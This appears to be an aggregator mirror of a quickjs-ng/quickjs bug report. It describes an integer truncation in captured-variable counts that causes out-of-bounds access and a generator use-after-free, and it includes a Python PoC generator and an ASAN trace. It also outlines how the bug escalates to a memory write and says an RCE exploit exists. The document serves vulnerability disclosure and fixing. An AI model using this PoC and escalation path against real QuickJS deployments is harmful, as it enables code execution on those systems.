Captured variable count truncation causes out-of-bounds r/w + generator use-after-free
メンテナーはふだん 1 日以内に返信
評価
調査の方向性
Start in quickjs.c at capture_var(), async_func_init(), and close_lexical_var(), following how the captured-variable count is stored and used to allocate and close the generator frame. Reproduce with the supplied poc.js under ASAN using qjs poc.js. The fix is complete when the 65,536-variable case no longer causes an out-of-bounds access or generator use-after-free, with regression coverage for the count boundary.
索引モデルが issue の本文から書いたものです。
説明
capture_var() assigns JSVarDef.var_ref_idx from unchecked int count. And JSFunctionBytecode.var_ref_count stores that count in uint16_t.
- Capturing 65,536 variables makes
var_ref_countwrap to zero. async_func_init()allocates generator frame using truncated count.close_lexical_var()indexessf->var_refs[var_ref_idx]using original index, reads past this frame, and clears that slot if it contains pointer.- When that slot contains a live
JSVarRef *, thenclose_var_ref()decrements the generator frame's reference count. And then the frame can be freed while the generator object still points to it. - Reusing the frame with an
ArrayBufferlets the stale generator write two native callback fields
So can be escalated to write pretty easily, and we also have a working RCE exploit for this.
PoC
from pathlib import Path
a = ",".join(f"a{i}" for i in range(32768))
v = ",".join(f"v{i}" for i in range(32767))
refs = ";".join([f"a{i}" for i in range(32768)] +
[f"v{i}" for i in range(32767)])
Path("poc.js").write_text(
f"function* g({a}){{\n"
" { let x=1; if (Math.random()<0) (()=>x); }\n"
f" var {v};\n"
f" if (Math.random()<0) (()=>{{{refs}}});\n"
" yield 1;\n}\n"
"var it=g(); it.next();\n"
)
Test with ASAN qjs poc.js
ASAN Crash
=================================================================
==47==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x72401ee9c890 at pc 0x5f022f6a55bf bp 0x7ffcbfb97620 sp 0x7ffcbfb97610
READ of size 8 at 0x72401ee9c890 thread T0
#0 0x5f022f6a55be in close_lexical_var /tmp/quickjs-bellard/quickjs.c:18000
#1 0x5f022f6a55be in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:19228
#2 0x5f022f7d1ed3 in async_func_resume /tmp/quickjs-bellard/quickjs.c:21536
#3 0x5f022f7d2778 in js_generator_next /tmp/quickjs-bellard/quickjs.c:21689
#4 0x5f022f715db3 in js_call_c_function /tmp/quickjs-bellard/quickjs.c:18127
#5 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
#6 0x5f022f68a9c3 in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18678
#7 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
#8 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
#9 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
#10 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
#11 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
#12 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
#13 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
#14 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
#15 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
#16 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
#17 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
#18 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)
0x72401ee9c890 is located 0 bytes after 524432-byte region [0x72401ee1c800,0x72401ee9c890)
allocated by thread T0 here:
#0 0x764022b2b60f in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:67
#1 0x5f022f65e969 in js_def_malloc /tmp/quickjs-bellard/quickjs.c:2195
#2 0x5f022f65836e in js_malloc_large /tmp/quickjs-bellard/quickjs.c:1567
#3 0x5f022f6cf141 in __js_malloc /tmp/quickjs-bellard/quickjs.c:1619
#4 0x5f022f6cf141 in js_malloc_rt /tmp/quickjs-bellard/quickjs.c:1831
#5 0x5f022f6cf141 in js_malloc /tmp/quickjs-bellard/quickjs.c:1862
#6 0x5f022f6cf141 in async_func_init /tmp/quickjs-bellard/quickjs.c:21479
#7 0x5f022f7d2e6e in js_generator_function_call /tmp/quickjs-bellard/quickjs.c:21744
#8 0x5f022f68b95c in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18274
#9 0x5f022f689fcd in JS_CallInternal /tmp/quickjs-bellard/quickjs.c:18642
#10 0x5f022f6a8e37 in JS_CallFree /tmp/quickjs-bellard/quickjs.c:21300
#11 0x5f022f806649 in JS_EvalFunctionInternal /tmp/quickjs-bellard/quickjs.c:38190
#12 0x5f022f807d90 in __JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38323
#13 0x5f022f719b86 in JS_EvalInternal /tmp/quickjs-bellard/quickjs.c:38349
#14 0x5f022f719b86 in JS_EvalThis /tmp/quickjs-bellard/quickjs.c:38382
#15 0x5f022f719b86 in JS_Eval /tmp/quickjs-bellard/quickjs.c:38390
#16 0x5f022f657f5e in eval_buf /tmp/quickjs-bellard/qjs.c:70
#17 0x5f022f658159 in eval_file /tmp/quickjs-bellard/qjs.c:105
#18 0x5f022f656f25 in main /tmp/quickjs-bellard/qjs.c:538
#19 0x76402262a600 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:59
#20 0x76402262a717 in __libc_start_main_impl ../csu/libc-start.c:360
#21 0x5f022f657444 in _start (/tmp/quickjs-bellard/qjs+0x39444) (BuildId: 48cfb24202ae50ac2117949e7ce8bbd86c98c281)
SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/quickjs-bellard/quickjs.c:18000 in close_lexical_var
Shadow bytes around the buggy address:
0x72401ee9c600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x72401ee9c800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x72401ee9c880: 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9c900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9c980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9ca00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9ca80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x72401ee9cb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==47==ABORTING
- 主要言語
- C
- スター
- 3.9k
- フォーク
- 389
- 平均マージ
- 4日 5時間
- マージ済み PR(30日)
- 16
環境構築
このプロジェクトには開発コンテナ、Dockerfile、コントリビューションガイドがありません。まず README を読み、一般的な手順ははじめてのコントリビューションガイドを参照してください。
はじめの一歩
- issue を最後まで読み、次にプロジェクトのコントリビューションガイドを読みます。
- 着手することを issue にコメントします — 二人が同じ作業をするのを防げます。
- リポジトリをフォークし、ブランチを切って変更します。
- issue 番号を参照したプルリクエストを送ります。
quickjs-ng/quickjs のほかの issue
-
JS_SetPropertyInternal2 loses the value when a lazy property on the prototype runs out of memoryオープン
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
quickjs-ng/quickjs#1852 ·
メンテナーはふだん 1 日以内に返信
-
Object.prototype.propertyIsEnumerable converts `this` before the property key対応中かも @SomSamantray が 28 日前に担当しました。 オープン
難易度 2/5 1〜3時間 初心者へのやさしさ 72/100
quickjs-ng/quickjs#1772 ·
メンテナーはふだん 1 日以内に返信
-
難易度 3/5 1〜2日 初心者へのやさしさ 57/100
quickjs-ng/quickjs#1894 ·
メンテナーはふだん 1 日以内に返信
-
難易度 4/5 3〜5日 初心者へのやさしさ 51/100
quickjs-ng/quickjs#1893 ·
メンテナーはふだん 1 日以内に返信
-
難易度 5/5 1週間以上 初心者へのやさしさ 20/100
quickjs-ng/quickjs#1891 ·
メンテナーはふだん 1 日以内に返信
quickjs-ng/quickjs の issue をすべて見る
似ている issue
-
難易度 2/5 1〜3時間 初心者へのやさしさ 68/100
-
要トリアージ 辞書
難易度 1/5 1〜3時間 初心者へのやさしさ 86/100
yksr-melt/Meltype#1625 · リアクション 1 件 ·
メンテナーはふだん 1 日以内に返信
-
kind/bug priority/medium qa_automation
難易度 2/5 1〜3時間 初心者へのやさしさ 78/100
yugabyte/yugabyte-db#37324 ·
メンテナーはふだん 1 日以内に返信
-
難易度 2/5 1〜3時間 初心者へのやさしさ 65/100
tree-sitter/tree-sitter#6111 ·
メンテナーはふだん 1 日以内に返信
-
bug
難易度 2/5 1〜3時間 初心者へのやさしさ 76/100
joncampbell123/dosbox-x#6797 ·
メンテナーはふだん 1 日以内に返信